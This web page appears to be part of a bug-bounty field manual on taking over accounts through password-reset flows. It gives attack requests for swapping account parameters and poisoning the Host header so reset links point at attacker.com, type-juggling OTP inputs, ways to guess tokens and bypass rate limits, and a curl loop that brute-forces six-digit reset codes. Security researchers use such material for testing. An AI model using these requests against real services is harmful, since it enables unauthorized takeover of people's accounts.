Skip to content

Field manual · ATO · Part I

The Password Reset Flow

The ATO factory

3 min readBroken Access Control

Part I: the password reset flow: the ATO factory

Section titled “Part I: the password reset flow: the ATO factory”

Why care: more full account takeovers chain through this one flow than any other in the authentication surface. If you only study one flow for the rest of your career, study this one. It’s a machine that converts identity claims into ownership. And there are 15+ distinct ways it breaks.

STEP A: POST /reset {"email":"victim@x.com"}
server: generates TOKEN, emails it
STEP B: email arrives → link https://target.com/reset?token=<TOKEN>
STEP C: GET/POST /reset {"token": <TOKEN>, "newPassword": "pwn"}
server: sets new password, victim is now yours

Three steps. Four identity bindings must hold:

  1. Token was issued for victim’s account
  2. Link/token travels only to victim’s inbox
  3. Step C verifies token belongs to the account being changed
  4. Token can’t be guessed/forged/replayed

Each one that fails is an account takeover. Now hunt each one:

1.2 The twin-switch: email/account parameter manipulation (the classic)

Section titled “1.2 The twin-switch: email/account parameter manipulation (the classic)”

The single most common reset-flow bug in existence:

STEP A: POST /reset {"email":"attacker@x.com"} → reset link arrives in YOUR inbox
STEP C: POST /reset {"email":"victim@x.com", "token":"<your-token>", "newPassword":"pwn"}

The token was minted for YOU, but step C lets you choose the account it applies to. Server checks “is token valid?” (yes) but not “was this token issued for this account?”

Variants of the twin-switch:

  • Hidden parameter: POST /reset {"token":..., "newPassword":..., "userId": 8842}, add userId / email / account, the endpoint may accept an account selector you weren’t sending
  • Step B/C split: the link contains ?email=victim@x.com&token=attackerstoken, change email in the link, keep token
  • The two-step form: step C asks “enter your new password” (token in URL), then a second request carries {"email": <editable>, "password": ...}, swap the email in the second request
  • Phone-based reset: POST /reset {"phone":"5551234567"} → SMS code arrives to you… but change {"phone": victim, "code": yours} at verification

Response-manipulation twin (no second email needed):

STEP A: POST /reset {"email":"attacker@x.com"}
STEP C: POST /reset/verify {"token": ..., "userId": 8842}
← server response: {"success": true, "next": "/reset?newpassword=1"}
Change the userId here: the new-password page trusts YOUR verified token
but applies it to the userId YOU choose
Section titled “1.3 Host-header poisoning: the reset link points at you”

When you request a reset, the server builds the link https://target.com/reset?token=X from the request’s Host header:

POST /reset HTTP/1.1
Host: attacker.com ← YOU control this
{"email":"victim@x.com"}

Server emails victim a link, but built from YOUR host:

https://attacker.com/reset?token=98504k3...

Victim clicks (they trust the email), token lands on YOUR server. You now possess a valid token for their account. Developers repeatedly ship this flaw whenever an application builds reset URLs from request headers:

Full arsenal of header-injection points:

Host: attacker.com
X-Forwarded-Host: attacker.com
X-Original-URL / X-Rewrite-URL: /reset
X-Forwarded-For (if used in link generation)
Referer: attacker.com (rare, but apps DO build links from Referer)

Test each on the reset-request. If the email link in YOUR OWN inbox contains your injected host, you have it. Escalate mentally: victim clicks → token exfiltrated → full ATO. Check program rules on emailing victims, usually you demonstrate only to your own accounts and report the header injection; the ATO chain is described.

1.4 Reset via response manipulation: trusting the client’s math

Section titled “1.4 Reset via response manipulation: trusting the client’s math”
POST /reset/verify {"code": "000000"} ← WRONG code
Response: {"status": "incorrect"} ← you intercept and change to:
Burp → Response tab: {"status": "success"}

If the frontend routes to “set new password” based on the response body, and the backend session got marked verified because the code actually existed elsewhere in logic… rare. BUT the cousin is everywhere:

Client-side OTP verification:

POST /reset/verify {"code":"000000"} → HTTP 403 {"verified": false}
POST /reset/verify {"code":"0000WRONG"} → HTTP 403, but response differs!
Try: {"code":"00000000"} {"code":""} {"code":null} {"code":true} {"code":0}

Type juggling, sending null, [], true, "" as the code, kills sloppy comparisons:

// PHP loose-comparison classics the world still runs on:
"" == null // true
"anystring" == true // true
0 == "abc" // true (PHP < 8)
null == false // true

OTP flows receiving {"otp": true} or {"otp": null} have blessed attackers into accounts on banking platforms. Language-dependent, always cheap to test.

1.5 Token forensics: guessable reset tokens

Section titled “1.5 Token forensics: guessable reset tokens”

The token itself is an identifying artifact. Collect it (from YOUR OWN reset emails), dissect:

Token: 1708924800 → Unix timestamp. Guessable. Enumerate.
Token: 0f27bd5b → 8 hex chars = 16^8 = 4 billion... too big?
but if 6 hex chars = 16M tries. With no rate limit → brute forceable.
Token: base64("victim@x.com:1708924800") → decode, learn construction, forge.
Token: sha256(email).substring(0,10) → victim known → token computable → NO email needed at all.
Token: MD5(password)?? → yes, this has existed, crypt-archaeology sites.
Token: sequential — the reset token = userId+1, or a counter
Token: re-used for 3+ resets → tokens not single-use → replay attacks.
Token: identical to OLD password-reset token → replay old leaked tokens.

The always-tests on tokens:

1. Length & charset → estimate entropy; with rate limits, is brute force feasible?
2. Two tokens in a short window — identical segments? Timestamp prefixes?
3. Replay: use an already-used token → does it still work?
4. Cross-account: request reset for A, use A's token on B's account (twin-switch again)
5. Longevity: is the token still valid after 24h? After password change?
6. Single-use: reset twice with same token (double-spend)
Token appears in your inbox also appears (echoed) in any API response? It's exposed → check if reset can be done without email access at all.

1.6 Rate-limit archaeology: brute-forcing the code

Section titled “1.6 Rate-limit archaeology: brute-forcing the code”

If reset codes are 4-6 digits and the verify endpoint doesn’t limit:

Terminal window
## 6-digit OTP with no rate limit:
for i in $(seq -w 0 999999); do
curl -s -X POST https://target.com/api/reset/verify \
-d "email=victim@x.com&code=$i" | grep -q "success" && echo "CODE: $i" && break
done
## 1M tries max; smart version: with known "invalid" response text, filter fast

Refinements that make it real:

  • Codes often have expiry windows (10 min) → the race is against the email clock, not forever
  • Some apps reveal “code expired” differently from “code wrong” → confirms code shape
  • Rate limit UX bypass tools: change X-Forwarded-For per request (many WAFs count by it). Rotate email casing (VICTIM@x.com vs victim@x.com): the backend counts them as different attempts, but both map to the victim’s account. Add trailing spaces. Use phone and email alternately.
  • Response/content-length differentials identify success without reading every response

Turbo Intruder handles the parallel version elegantly. Watch total volume against program rules, brute force is sometimes prohibited, so check policy first, prefer type-juggling/twin-switch when available.

1.7 Reset-then-reconcile: post-reset state confusions

Section titled “1.7 Reset-then-reconcile: post-reset state confusions”
1. Request reset for YOUR account, get a valid token, use it (password changed)
2. Request reset for VICTIM's account
3. During step C, submit VICTIM's new password with YOUR still-valid token —
which account gets changed?

And state-confusion siblings:

  • Reset while logged in as someone else (support impersonation windows!)
  • Reset token issued at login, used at logout (session-fixation-cousin)
  • Two parallel resets (race), two tokens, one account, one commit wins weirdly

Next step: Part II covers 2FA and MFA, the gate that is supposed to catch a reset-flow compromise, and the ways it doesn’t.

Connections2 backlinks · 0 outgoing · 1 cross-guideFull graph →
Open local graph around this page
Open full graph →
Click a node to open · Drag to reposition · Scroll to zoom

Links out to

No outgoing internal links on this page.

Broken Access ControlFor authorized security research only: bug bounty programs, your own systems, or scoped engagements with written permission.